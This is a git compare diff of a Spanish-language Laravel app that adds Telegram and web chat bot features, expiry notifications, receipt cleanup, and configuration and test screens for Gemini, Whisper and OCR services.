Compare commits
125
Commits
a56a69dccb
...
main
@@ -9,12 +9,15 @@ use App\Models\Cuentas;
|
|||||||
use App\Models\log;
|
use App\Models\log;
|
||||||
use App\Models\Configuracione;
|
use App\Models\Configuracione;
|
||||||
use App\Models\Historial_cuenta;
|
use App\Models\Historial_cuenta;
|
||||||
|
use App\Models\ChatContact;
|
||||||
|
use App\Models\ChatConfig;
|
||||||
use App\Notifications\Vencimiento;
|
use App\Notifications\Vencimiento;
|
||||||
use Carbon\Carbon;
|
use Carbon\Carbon;
|
||||||
|
|
||||||
use Illuminate\Console\Scheduling\Schedule;
|
use Illuminate\Console\Scheduling\Schedule;
|
||||||
use Illuminate\Foundation\Console\Kernel as ConsoleKernel;
|
use Illuminate\Foundation\Console\Kernel as ConsoleKernel;
|
||||||
use Exception;
|
use Exception;
|
||||||
|
use Illuminate\Support\Facades\Http;
|
||||||
use Illuminate\Support\Facades\Notification;
|
use Illuminate\Support\Facades\Notification;
|
||||||
use Twilio\Rest\Client;
|
use Twilio\Rest\Client;
|
||||||
|
|
||||||
@@ -37,6 +40,17 @@ class Kernel extends ConsoleKernel
|
|||||||
// $schedule->exec('nohup php /var/www/sirpremium/artisan queue:work --sleep=3 --tries=3 > /dev/null 2>&1 &')->everyMinute();
|
// $schedule->exec('nohup php /var/www/sirpremium/artisan queue:work --sleep=3 --tries=3 > /dev/null 2>&1 &')->everyMinute();
|
||||||
$schedule->command('telescope:prune --hours=24')->daily();
|
$schedule->command('telescope:prune --hours=24')->daily();
|
||||||
|
|
||||||
|
// Eliminar comprobantes de pago con más de 7 días
|
||||||
|
$schedule->call(function () {
|
||||||
|
$dir = storage_path('app/public/comprobantes');
|
||||||
|
if (! is_dir($dir)) return;
|
||||||
|
foreach (glob($dir . '/*') as $file) {
|
||||||
|
if (is_file($file) && filemtime($file) < strtotime('-7 days')) {
|
||||||
|
@unlink($file);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
})->daily();
|
||||||
|
|
||||||
$schedule->command('tarea:validarCompra')->everyFiveMinutes();
|
$schedule->command('tarea:validarCompra')->everyFiveMinutes();
|
||||||
|
|
||||||
|
|
||||||
@@ -71,6 +85,40 @@ class Kernel extends ConsoleKernel
|
|||||||
|
|
||||||
Notification::sendNow($user, new Vencimiento($notificacion));
|
Notification::sendNow($user, new Vencimiento($notificacion));
|
||||||
|
|
||||||
|
// Notificación por el canal de chat que tenga el cliente
|
||||||
|
$fechaFmt = Carbon::parse($item->fecha_final)->format('d/m/Y');
|
||||||
|
$msgCanal = "⚠️ Aviso de vencimiento\n\n"
|
||||||
|
. "Hola {$item->cliente->name}, tu servicio de {$nombre} vence el {$fechaFmt}.\n\n"
|
||||||
|
. "¿Quieres renovarlo? Escríbeme aquí y te ayudo 👇";
|
||||||
|
|
||||||
|
$contactos = ChatContact::where('user_id', $user->id)->get();
|
||||||
|
|
||||||
|
foreach ($contactos as $contacto) {
|
||||||
|
if ($contacto->canal === 'telegram' && $contacto->canal_id) {
|
||||||
|
$tokenTg = ChatConfig::get('telegram_token');
|
||||||
|
if ($tokenTg) {
|
||||||
|
Http::get("https://api.telegram.org/bot{$tokenTg}/sendMessage", [
|
||||||
|
'chat_id' => $contacto->canal_id,
|
||||||
|
'text' => "⚠️ *Aviso de vencimiento*\n\n"
|
||||||
|
. "Hola {$item->cliente->name}, tu servicio de *{$nombre}* vence el *{$fechaFmt}*.\n\n"
|
||||||
|
. "¿Quieres renovarlo? Escríbeme aquí y te ayudo 👇",
|
||||||
|
'parse_mode' => 'Markdown',
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
} elseif ($contacto->canal === 'web') {
|
||||||
|
$conv = $contacto->activeConversation();
|
||||||
|
if ($conv) {
|
||||||
|
\App\Models\ChatMessage::create([
|
||||||
|
'conversation_id' => $conv->id,
|
||||||
|
'tipo' => 'bot',
|
||||||
|
'tipo_ui' => 'text',
|
||||||
|
'contenido' => $msgCanal,
|
||||||
|
'leido' => false,
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
//$fecha=Carbon::parse($item->fecha_final)->format('d/m/Y');
|
//$fecha=Carbon::parse($item->fecha_final)->format('d/m/Y');
|
||||||
|
|
||||||
//$message = 'Su '.$nombre.', Vence Hoy, '.$fecha.'. Renueva ahora!!' ;
|
//$message = 'Su '.$nombre.', Vence Hoy, '.$fecha.'. Renueva ahora!!' ;
|
||||||
|
|||||||
Regular → Executable
+10
@@ -14,6 +14,11 @@ class ChatController extends Controller
|
|||||||
return view('chat.conversaciones');
|
return view('chat.conversaciones');
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public function comprobantes()
|
||||||
|
{
|
||||||
|
return view('chat.comprobantes');
|
||||||
|
}
|
||||||
|
|
||||||
public function menus()
|
public function menus()
|
||||||
{
|
{
|
||||||
return view('chat.menus');
|
return view('chat.menus');
|
||||||
@@ -23,4 +28,9 @@ class ChatController extends Controller
|
|||||||
{
|
{
|
||||||
return view('chat.configuracion');
|
return view('chat.configuracion');
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public function iaLogs()
|
||||||
|
{
|
||||||
|
return view('chat.ia-logs');
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -2,34 +2,74 @@
|
|||||||
|
|
||||||
namespace App\Http\Controllers;
|
namespace App\Http\Controllers;
|
||||||
|
|
||||||
use App\Services\ChatBotEngine;
|
use App\Services\TelegramBotService;
|
||||||
use Illuminate\Http\Request;
|
use Illuminate\Http\Request;
|
||||||
|
use Illuminate\Support\Facades\Log;
|
||||||
|
|
||||||
class TelegramWebhookController extends Controller
|
class TelegramWebhookController extends Controller
|
||||||
{
|
{
|
||||||
public function handle(Request $request)
|
public function handle(Request $request)
|
||||||
{
|
{
|
||||||
$update = $request->all();
|
try {
|
||||||
|
return $this->process($request);
|
||||||
|
} catch (\Throwable $e) {
|
||||||
|
Log::error('[TelegramWebhook] Uncaught exception: ' . $e->getMessage(), [
|
||||||
|
'trace' => $e->getTraceAsString(),
|
||||||
|
'body' => $request->all(),
|
||||||
|
]);
|
||||||
|
// Always return 200 so Telegram doesn't retry
|
||||||
|
return response()->json(['ok' => true]);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
// Solo procesar mensajes de texto
|
private function process(Request $request)
|
||||||
if (! isset($update['message']['text'])) {
|
{
|
||||||
|
$update = $request->all();
|
||||||
|
$bot = new TelegramBotService();
|
||||||
|
|
||||||
|
// Inline keyboard button taps
|
||||||
|
if (isset($update['callback_query'])) {
|
||||||
|
$cq = $update['callback_query'];
|
||||||
|
$chatId = (string) $cq['message']['chat']['id'];
|
||||||
|
$bot->handleCallback($chatId, $cq['id'], $cq['data'] ?? '');
|
||||||
return response()->json(['ok' => true]);
|
return response()->json(['ok' => true]);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Photos (payment receipts)
|
||||||
|
if (isset($update['message']['photo'])) {
|
||||||
|
$chatId = (string) $update['message']['chat']['id'];
|
||||||
|
$photos = $update['message']['photo'];
|
||||||
|
$fileId = end($photos)['file_id'];
|
||||||
|
$bot->handlePhoto($chatId, $fileId);
|
||||||
|
return response()->json(['ok' => true]);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Voice / audio messages
|
||||||
|
if (isset($update['message']['voice']) || isset($update['message']['audio'])) {
|
||||||
|
$chatId = (string) $update['message']['chat']['id'];
|
||||||
|
$fileId = $update['message']['voice']['file_id'] ?? $update['message']['audio']['file_id'];
|
||||||
|
$duration = $update['message']['voice']['duration'] ?? $update['message']['audio']['duration'] ?? null;
|
||||||
|
$nombre = trim(
|
||||||
|
($update['message']['from']['first_name'] ?? '') . ' ' .
|
||||||
|
($update['message']['from']['last_name'] ?? '')
|
||||||
|
);
|
||||||
|
$bot->handleVoice($chatId, $fileId, $nombre, (int) $duration);
|
||||||
|
return response()->json(['ok' => true]);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Text messages
|
||||||
|
if (isset($update['message']['text'])) {
|
||||||
$chatId = (string) $update['message']['chat']['id'];
|
$chatId = (string) $update['message']['chat']['id'];
|
||||||
$text = $update['message']['text'];
|
$text = $update['message']['text'];
|
||||||
$nombre = trim(
|
$nombre = trim(
|
||||||
($update['message']['from']['first_name'] ?? '') . ' ' .
|
($update['message']['from']['first_name'] ?? '') . ' ' .
|
||||||
($update['message']['from']['last_name'] ?? '')
|
($update['message']['from']['last_name'] ?? '')
|
||||||
);
|
);
|
||||||
|
$bot->handleText($chatId, $text, $nombre);
|
||||||
$engine = new ChatBotEngine();
|
return response()->json(['ok' => true]);
|
||||||
$replies = $engine->handle('telegram', $chatId, $text, $nombre);
|
|
||||||
|
|
||||||
foreach ($replies as $reply) {
|
|
||||||
$engine->enviarTelegram($chatId, $reply);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
return response()->json(['ok' => true]);
|
return response()->json(['ok' => true]);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
Regular → Executable
+1751
-39
File diff suppressed because it is too large
Load Diff
Executable
+105
@@ -0,0 +1,105 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace App\Http\Livewire\Chat;
|
||||||
|
|
||||||
|
use App\Models\AiUsageLog;
|
||||||
|
use Carbon\Carbon;
|
||||||
|
use Livewire\Component;
|
||||||
|
use Livewire\WithPagination;
|
||||||
|
|
||||||
|
class ShowAiLogs extends Component
|
||||||
|
{
|
||||||
|
use WithPagination;
|
||||||
|
|
||||||
|
public string $filtroServicio = '';
|
||||||
|
public string $filtroCanal = '';
|
||||||
|
public string $filtroFechaDesde = '';
|
||||||
|
public string $filtroFechaHasta = '';
|
||||||
|
public string $filtroMes = '';
|
||||||
|
|
||||||
|
protected $queryString = [
|
||||||
|
'filtroServicio', 'filtroCanal',
|
||||||
|
'filtroFechaDesde', 'filtroFechaHasta',
|
||||||
|
'filtroMes',
|
||||||
|
];
|
||||||
|
|
||||||
|
public function updatingFiltroServicio(): void { $this->resetPage(); }
|
||||||
|
public function updatingFiltroCanal(): void { $this->resetPage(); }
|
||||||
|
public function updatingFiltroFechaDesde(): void { $this->resetPage(); }
|
||||||
|
public function updatingFiltroFechaHasta(): void { $this->resetPage(); }
|
||||||
|
public function updatingFiltroMes(): void { $this->resetPage(); }
|
||||||
|
|
||||||
|
public function updatedFiltroMes(): void
|
||||||
|
{
|
||||||
|
if ($this->filtroMes) {
|
||||||
|
$this->filtroFechaDesde = '';
|
||||||
|
$this->filtroFechaHasta = '';
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public function updatedFiltroFechaDesde(): void
|
||||||
|
{
|
||||||
|
if ($this->filtroFechaDesde) $this->filtroMes = '';
|
||||||
|
}
|
||||||
|
|
||||||
|
public function updatedFiltroFechaHasta(): void
|
||||||
|
{
|
||||||
|
if ($this->filtroFechaHasta) $this->filtroMes = '';
|
||||||
|
}
|
||||||
|
|
||||||
|
private function applyFiltros($query): void
|
||||||
|
{
|
||||||
|
if ($this->filtroServicio) {
|
||||||
|
$query->where('servicio', $this->filtroServicio);
|
||||||
|
}
|
||||||
|
if ($this->filtroCanal) {
|
||||||
|
$query->where('canal', $this->filtroCanal);
|
||||||
|
}
|
||||||
|
if ($this->filtroMes) {
|
||||||
|
$inicio = Carbon::createFromFormat('Y-m', $this->filtroMes)->startOfMonth();
|
||||||
|
$fin = $inicio->copy()->endOfMonth();
|
||||||
|
$query->whereBetween('created_at', [$inicio, $fin]);
|
||||||
|
} else {
|
||||||
|
if ($this->filtroFechaDesde) {
|
||||||
|
$query->whereDate('created_at', '>=', $this->filtroFechaDesde);
|
||||||
|
}
|
||||||
|
if ($this->filtroFechaHasta) {
|
||||||
|
$query->whereDate('created_at', '<=', $this->filtroFechaHasta);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public function render()
|
||||||
|
{
|
||||||
|
$query = AiUsageLog::query()->latest();
|
||||||
|
$this->applyFiltros($query);
|
||||||
|
$logs = $query->paginate(30);
|
||||||
|
|
||||||
|
$resumenQuery = AiUsageLog::query();
|
||||||
|
$this->applyFiltros($resumenQuery);
|
||||||
|
|
||||||
|
$resumen = $resumenQuery->selectRaw("
|
||||||
|
COUNT(*) as total_llamadas,
|
||||||
|
SUM(CASE WHEN resultado = 'ok' THEN 1 ELSE 0 END) as total_ok,
|
||||||
|
SUM(CASE WHEN resultado = 'error' THEN 1 ELSE 0 END) as total_errores,
|
||||||
|
SUM(input_tokens) as total_input_tokens,
|
||||||
|
SUM(output_tokens) as total_output_tokens,
|
||||||
|
SUM(audio_segundos) as total_segundos_whisper,
|
||||||
|
SUM(CASE WHEN servicio = 'whisper' THEN costo ELSE 0 END) as costo_whisper,
|
||||||
|
SUM(CASE WHEN servicio = 'ocr' THEN 1 ELSE 0 END) as total_fotos_ocr,
|
||||||
|
SUM(CASE WHEN servicio = 'ocr' THEN costo ELSE 0 END) as costo_ocr,
|
||||||
|
SUM((COALESCE(input_tokens,0) + COALESCE(output_tokens,0)) / 1000000.0 * 20000) as costo_gemini,
|
||||||
|
AVG(tiempo_ms) as avg_tiempo_ms
|
||||||
|
")->first();
|
||||||
|
|
||||||
|
$meses = collect(range(0, 12))->map(function ($i) {
|
||||||
|
$d = now()->subMonths($i);
|
||||||
|
return [
|
||||||
|
'value' => $d->format('Y-m'),
|
||||||
|
'label' => ucfirst($d->locale('es')->isoFormat('MMMM YYYY')),
|
||||||
|
];
|
||||||
|
});
|
||||||
|
|
||||||
|
return view('livewire.chat.show-ai-logs', compact('logs', 'resumen', 'meses'));
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,53 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace App\Http\Livewire\Chat;
|
||||||
|
|
||||||
|
use App\Models\ChatConversation;
|
||||||
|
use App\Models\SolicitudRecarga;
|
||||||
|
use Livewire\Component;
|
||||||
|
use Livewire\WithPagination;
|
||||||
|
|
||||||
|
class ShowComprobantes extends Component
|
||||||
|
{
|
||||||
|
use WithPagination;
|
||||||
|
|
||||||
|
public string $busqueda = '';
|
||||||
|
public string $filtroEstado = '';
|
||||||
|
public string $filtroCanal = '';
|
||||||
|
|
||||||
|
protected $queryString = [
|
||||||
|
'busqueda' => ['except' => ''],
|
||||||
|
'filtroEstado' => ['except' => ''],
|
||||||
|
'filtroCanal' => ['except' => ''],
|
||||||
|
];
|
||||||
|
|
||||||
|
public function updatingBusqueda(): void { $this->resetPage(); }
|
||||||
|
public function updatingFiltroEstado(): void { $this->resetPage(); }
|
||||||
|
public function updatingFiltroCanal(): void { $this->resetPage(); }
|
||||||
|
|
||||||
|
public function verChat(int $userId): void
|
||||||
|
{
|
||||||
|
$conv = ChatConversation::whereHas('contact', fn($q) => $q->where('user_id', $userId))
|
||||||
|
->orderByDesc('ultimo_mensaje_at')
|
||||||
|
->first();
|
||||||
|
|
||||||
|
if ($conv) {
|
||||||
|
$this->redirect(route('chat.conversaciones') . '?conv=' . $conv->id);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public function render()
|
||||||
|
{
|
||||||
|
$solicitudes = SolicitudRecarga::with('user')
|
||||||
|
->when($this->filtroEstado, fn($q) => $q->where('estado', $this->filtroEstado))
|
||||||
|
->when($this->filtroCanal, fn($q) => $q->where('canal', $this->filtroCanal))
|
||||||
|
->when($this->busqueda, fn($q) => $q->whereHas('user', fn($s) =>
|
||||||
|
$s->where('email', 'like', "%{$this->busqueda}%")
|
||||||
|
->orWhere('name', 'like', "%{$this->busqueda}%")
|
||||||
|
))
|
||||||
|
->orderByDesc('id')
|
||||||
|
->paginate(25);
|
||||||
|
|
||||||
|
return view('livewire.chat.show-comprobantes', compact('solicitudes'));
|
||||||
|
}
|
||||||
|
}
|
||||||
Regular → Executable
+211
-23
@@ -3,6 +3,7 @@
|
|||||||
namespace App\Http\Livewire\Chat;
|
namespace App\Http\Livewire\Chat;
|
||||||
|
|
||||||
use App\Models\ChatConfig;
|
use App\Models\ChatConfig;
|
||||||
|
use Illuminate\Support\Facades\Http;
|
||||||
use Jantinnerezo\LivewireAlert\LivewireAlert;
|
use Jantinnerezo\LivewireAlert\LivewireAlert;
|
||||||
use Livewire\Component;
|
use Livewire\Component;
|
||||||
|
|
||||||
@@ -10,16 +11,63 @@ class ShowConfiguracionChat extends Component
|
|||||||
{
|
{
|
||||||
use LivewireAlert;
|
use LivewireAlert;
|
||||||
|
|
||||||
|
// ── Chat general ──────────────────────────────────────────
|
||||||
public string $telegram_token = '';
|
public string $telegram_token = '';
|
||||||
public string $mensaje_bienvenida = '';
|
public string $mensaje_bienvenida = '';
|
||||||
public string $mensaje_transferencia = '';
|
public string $mensaje_transferencia = '';
|
||||||
public string $webhookResult = '';
|
public string $webhookResult = '';
|
||||||
|
public string $whisperResult = '';
|
||||||
|
public string $geminiResult = '';
|
||||||
|
public string $ocrResult = '';
|
||||||
|
|
||||||
|
// ── Gemini IA ─────────────────────────────────────────────
|
||||||
|
public string $gemini_api_key = '';
|
||||||
|
public string $gemini_model = 'gemini-3.5-flash';
|
||||||
|
public string $gemini_habilitado = '0';
|
||||||
|
public string $gemini_prompt_extra = '';
|
||||||
|
|
||||||
|
// ── Validación de pago por foto + correo ──────────────────
|
||||||
|
public string $validacion_foto_habilitada = '0';
|
||||||
|
public string $validacion_accion_auto = 'solo_notificar';
|
||||||
|
public string $validacion_monto_tolerancia = '0';
|
||||||
|
|
||||||
|
// ── Whisper STT ───────────────────────────────────────────
|
||||||
|
public string $whisper_url = '';
|
||||||
|
public string $whisper_token = '';
|
||||||
|
public string $whisper_habilitado = '0';
|
||||||
|
|
||||||
|
// ── OCR de comprobantes (previo a Gemini) ──────────────────
|
||||||
|
public string $ocr_url = '';
|
||||||
|
public string $ocr_token = '';
|
||||||
|
public string $ocr_habilitado = '0';
|
||||||
|
|
||||||
|
// ── Bre-B ─────────────────────────────────────────────────
|
||||||
|
public string $recarga_banco_nombre = '';
|
||||||
|
public string $recarga_banco_llave = '';
|
||||||
|
public string $recarga_banco_titular = '';
|
||||||
|
|
||||||
public function mount(): void
|
public function mount(): void
|
||||||
{
|
{
|
||||||
$this->telegram_token = ChatConfig::get('telegram_token', '');
|
$keys = [
|
||||||
$this->mensaje_bienvenida = ChatConfig::get('mensaje_bienvenida', 'Hola 👋 Bienvenido. Escribe tu consulta.');
|
'telegram_token', 'mensaje_bienvenida', 'mensaje_transferencia',
|
||||||
$this->mensaje_transferencia = ChatConfig::get('mensaje_transferencia', 'Un agente se comunicará contigo en breve. Por favor espera.');
|
'gemini_api_key', 'gemini_model', 'gemini_habilitado', 'gemini_prompt_extra',
|
||||||
|
'validacion_foto_habilitada', 'validacion_accion_auto', 'validacion_monto_tolerancia',
|
||||||
|
'whisper_url', 'whisper_token', 'whisper_habilitado',
|
||||||
|
'ocr_url', 'ocr_token', 'ocr_habilitado',
|
||||||
|
'recarga_banco_nombre', 'recarga_banco_llave', 'recarga_banco_titular',
|
||||||
|
];
|
||||||
|
|
||||||
|
$defaults = [
|
||||||
|
'mensaje_bienvenida' => 'Hola! Bienvenido. Escribe tu consulta.',
|
||||||
|
'mensaje_transferencia' => 'Un agente se comunicara contigo en breve. Por favor espera.',
|
||||||
|
'validacion_accion_auto' => 'solo_notificar',
|
||||||
|
'validacion_monto_tolerancia' => '0',
|
||||||
|
'gemini_model' => 'gemini-3.5-flash',
|
||||||
|
];
|
||||||
|
|
||||||
|
foreach ($keys as $key) {
|
||||||
|
$this->{$key} = ChatConfig::get($key, $defaults[$key] ?? '');
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
public function guardar(): void
|
public function guardar(): void
|
||||||
@@ -27,13 +75,154 @@ class ShowConfiguracionChat extends Component
|
|||||||
$this->validate([
|
$this->validate([
|
||||||
'mensaje_bienvenida' => 'required|string|max:500',
|
'mensaje_bienvenida' => 'required|string|max:500',
|
||||||
'mensaje_transferencia' => 'required|string|max:500',
|
'mensaje_transferencia' => 'required|string|max:500',
|
||||||
|
'validacion_monto_tolerancia' => 'nullable|integer|min:0',
|
||||||
|
'recarga_banco_nombre' => 'nullable|max:60',
|
||||||
|
'recarga_banco_llave' => 'nullable|max:60',
|
||||||
|
'recarga_banco_titular' => 'nullable|max:100',
|
||||||
]);
|
]);
|
||||||
|
|
||||||
ChatConfig::set('telegram_token', $this->telegram_token);
|
$keys = [
|
||||||
ChatConfig::set('mensaje_bienvenida', $this->mensaje_bienvenida);
|
'telegram_token', 'mensaje_bienvenida', 'mensaje_transferencia',
|
||||||
ChatConfig::set('mensaje_transferencia', $this->mensaje_transferencia);
|
'gemini_api_key', 'gemini_model', 'gemini_habilitado', 'gemini_prompt_extra',
|
||||||
|
'validacion_foto_habilitada', 'validacion_accion_auto', 'validacion_monto_tolerancia',
|
||||||
|
'whisper_url', 'whisper_token', 'whisper_habilitado',
|
||||||
|
'ocr_url', 'ocr_token', 'ocr_habilitado',
|
||||||
|
'recarga_banco_nombre', 'recarga_banco_llave', 'recarga_banco_titular',
|
||||||
|
];
|
||||||
|
|
||||||
$this->alert('success', 'Configuración guardada correctamente.');
|
foreach ($keys as $key) {
|
||||||
|
ChatConfig::set($key, $this->{$key});
|
||||||
|
}
|
||||||
|
|
||||||
|
$this->alert('success', 'Configuracion guardada correctamente.');
|
||||||
|
}
|
||||||
|
|
||||||
|
public function probarGemini(): void
|
||||||
|
{
|
||||||
|
$key = trim($this->gemini_api_key ?: \App\Models\ChatConfig::get('gemini_api_key'));
|
||||||
|
$model = trim($this->gemini_model ?: \App\Models\ChatConfig::get('gemini_model', 'gemini-3.5-flash'));
|
||||||
|
|
||||||
|
if (! $key) {
|
||||||
|
$this->geminiResult = '⚠️ La API Key de Gemini está vacía.';
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Try v1 first (newer models), fall back to v1beta
|
||||||
|
$apiVersions = ['v1', 'v1beta'];
|
||||||
|
$lastError = '';
|
||||||
|
|
||||||
|
foreach ($apiVersions as $ver) {
|
||||||
|
$url = "https://generativelanguage.googleapis.com/{$ver}/models/{$model}:generateContent";
|
||||||
|
|
||||||
|
try {
|
||||||
|
$inicio = microtime(true);
|
||||||
|
$body = [
|
||||||
|
'contents' => [['parts' => [['text' => 'Responde solo "ok"']]]],
|
||||||
|
'generationConfig' => ['maxOutputTokens' => 512, 'temperature' => 0],
|
||||||
|
];
|
||||||
|
$response = Http::timeout(15)
|
||||||
|
->withHeaders(['Content-Type' => 'application/json'])
|
||||||
|
->post("{$url}?key={$key}", $body);
|
||||||
|
|
||||||
|
$ms = (int) ((microtime(true) - $inicio) * 1000);
|
||||||
|
$data = $response->json();
|
||||||
|
|
||||||
|
if ($response->successful() && ! isset($data['error'])) {
|
||||||
|
$texto = $data['candidates'][0]['content']['parts'][0]['text'] ?? '(sin texto)';
|
||||||
|
$this->geminiResult = "✅ Gemini OK — modelo: {$model} ({$ver}) — {$ms}ms — respuesta: \"{$texto}\"";
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
$lastError = "[{$ver}] " . ($data['error']['message'] ?? 'HTTP ' . $response->status());
|
||||||
|
|
||||||
|
} catch (\Throwable $e) {
|
||||||
|
$lastError = "[{$ver}] " . $e->getMessage();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Ambas versiones fallaron — listar modelos disponibles
|
||||||
|
$lista = Http::timeout(10)
|
||||||
|
->get("https://generativelanguage.googleapis.com/v1beta/models?key={$key}");
|
||||||
|
|
||||||
|
if ($lista->successful()) {
|
||||||
|
$nombres = collect($lista->json('models', []))
|
||||||
|
->filter(fn ($m) => str_contains($m['name'] ?? '', 'gemini'))
|
||||||
|
->filter(fn ($m) => in_array('generateContent', $m['supportedGenerationMethods'] ?? []))
|
||||||
|
->pluck('name')
|
||||||
|
->map(fn ($n) => str_replace('models/', '', $n))
|
||||||
|
->values()->implode(', ');
|
||||||
|
$this->geminiResult = "❌ Error: {$lastError} — Modelos con generateContent: {$nombres}";
|
||||||
|
} else {
|
||||||
|
$this->geminiResult = "❌ Error: {$lastError}";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public function resetearWhisper(): void
|
||||||
|
{
|
||||||
|
$url = trim($this->whisper_url ?: ChatConfig::get('whisper_url'));
|
||||||
|
$token = trim($this->whisper_token ?: ChatConfig::get('whisper_token'));
|
||||||
|
|
||||||
|
if (! $url) {
|
||||||
|
$this->whisperResult = '⚠️ La URL de Whisper está vacía.';
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
try {
|
||||||
|
$response = Http::timeout(10)
|
||||||
|
->withBasicAuth('whisper', $token)
|
||||||
|
->get(rtrim($url, '/asr')); // ping al servidor
|
||||||
|
|
||||||
|
$this->whisperResult = $response->successful()
|
||||||
|
? '✅ Conexión con Whisper establecida correctamente.'
|
||||||
|
: '❌ Whisper respondió con error ' . $response->status() . '.';
|
||||||
|
} catch (\Throwable $e) {
|
||||||
|
$this->whisperResult = '❌ No se pudo conectar con Whisper: ' . $e->getMessage();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public function probarOcr(): void
|
||||||
|
{
|
||||||
|
$url = \App\Services\OcrExtractionService::normalizarUrl($this->ocr_url ?: ChatConfig::get('ocr_url'));
|
||||||
|
$token = trim($this->ocr_token ?: ChatConfig::get('ocr_token'));
|
||||||
|
|
||||||
|
if (! $url) {
|
||||||
|
$this->ocrResult = '⚠️ La URL del servicio OCR está vacía.';
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// PNG 240x80 con el texto "TEST OCR 123" renderizado, para que la prueba
|
||||||
|
// sea real: un pixel en blanco siempre da "sin_texto_detectado" aunque
|
||||||
|
// todo funcione bien.
|
||||||
|
$imagenPrueba = 'iVBORw0KGgoAAAANSUhEUgAAAPAAAABQCAIAAACoK28rAAAACXBIWXMAAA7EAAAOxAGVKw4bAAAB6ElEQVR4nO3c3W6iUBhA0WHS939l5sLENPxpPRCd3bXuWgSPZVc/MXGa5/kPVPx99wLgTIImRdCkCJoUQZMiaFIETYqgSRE0KYImRdCkCJoUQZMiaFIETYqgSRE0KYImRdCkCJoUQZMiaFIETYqgSRE0KYImRdCkCJoUQZMiaFIETYqgSfka2Xmaps3fz/O8uen+5errrbdNBwf80WIWt18c9uC+nv/699vu69vvLWNzDZxuOuUvuz67e+f7yRsf7P5wAYt9934cudN7nZv/OetlHC+JE33EyDHP88jZXfTxvaF1OuMZ7b2MHCxj8QCPX44YMTRy/KcGm97LcXxcYdy1QW8OlLeX+w+ZKa9bxma1e7MKZ7k26L3Ttj7N03TONP+yc+997zn4/uz+9sdb9REz9Bvdp9sTJ9qHE4UZ+jq/MeifXjR84eCefd/lDUGvB+hBixy/J7Uu9fhS9+DCDi5Or9cg+itcex164eEHKwcHfHINB0dbbH35OvRrnwp9yJvgPG9NSPmNMzRhgiZF0KQImhRBkyJoUgRNiqBJETQpgiZF0KQImhRBkyJoUgRNiqBJETQpgiZF0KQImhRBkyJoUgRNiqBJETQpgiZF0KQImhRBkyJoUgRNiqBJETQpgiZF0KQImpR/3UrzkDoP+sMAAAAASUVORK5CYII=';
|
||||||
|
|
||||||
|
try {
|
||||||
|
$inicio = microtime(true);
|
||||||
|
$response = Http::withToken($token)
|
||||||
|
->timeout(15)
|
||||||
|
->post("{$url}/extract", [
|
||||||
|
'image_base64' => $imagenPrueba,
|
||||||
|
'mime_type' => 'image/png',
|
||||||
|
]);
|
||||||
|
|
||||||
|
$ms = (int) ((microtime(true) - $inicio) * 1000);
|
||||||
|
$data = $response->json();
|
||||||
|
|
||||||
|
if ($data === null) {
|
||||||
|
// No respondio JSON valido: la conexion en si fallo (ruta mal, host caido, etc).
|
||||||
|
$this->ocrResult = "❌ El servicio respondió HTTP " . $response->status() . " sin JSON válido: " .
|
||||||
|
substr($response->body(), 0, 200);
|
||||||
|
} elseif ($data['success'] ?? false) {
|
||||||
|
$texto = $data['text'] ?? '';
|
||||||
|
$this->ocrResult = "✅ Servicio OCR responde OK ({$ms}ms). Texto reconocido: \"" . substr($texto, 0, 150) . "\"";
|
||||||
|
} else {
|
||||||
|
// Respondio con JSON estructurado pero success=false: SI esta conectado,
|
||||||
|
// solo que no reconocio el texto de la imagen de prueba.
|
||||||
|
$this->ocrResult = "⚠️ El servicio conectó pero no reconoció el texto de prueba (HTTP {$response->status()}): " .
|
||||||
|
($data['error'] ?? 'sin detalle');
|
||||||
|
}
|
||||||
|
} catch (\Throwable $e) {
|
||||||
|
$this->ocrResult = '❌ No se pudo conectar con el servicio OCR: ' . $e->getMessage();
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
public function registrarWebhook(): void
|
public function registrarWebhook(): void
|
||||||
@@ -45,32 +234,31 @@ class ShowConfiguracionChat extends Component
|
|||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
// Guardar el token antes de registrar
|
|
||||||
ChatConfig::set('telegram_token', $token);
|
ChatConfig::set('telegram_token', $token);
|
||||||
|
|
||||||
$webhookUrl = url('/chat/webhook/telegram');
|
$webhookUrl = url('/chat/webhook/telegram');
|
||||||
$apiUrl = "https://api.telegram.org/bot{$token}/setWebhook";
|
|
||||||
|
|
||||||
$context = stream_context_create([
|
try {
|
||||||
'http' => [
|
$response = Http::timeout(15)
|
||||||
'method' => 'POST',
|
->post("https://api.telegram.org/bot{$token}/setWebhook", [
|
||||||
'header' => "Content-Type: application/x-www-form-urlencoded\r\n",
|
'url' => $webhookUrl,
|
||||||
'content' => http_build_query(['url' => $webhookUrl]),
|
|
||||||
'timeout' => 10,
|
|
||||||
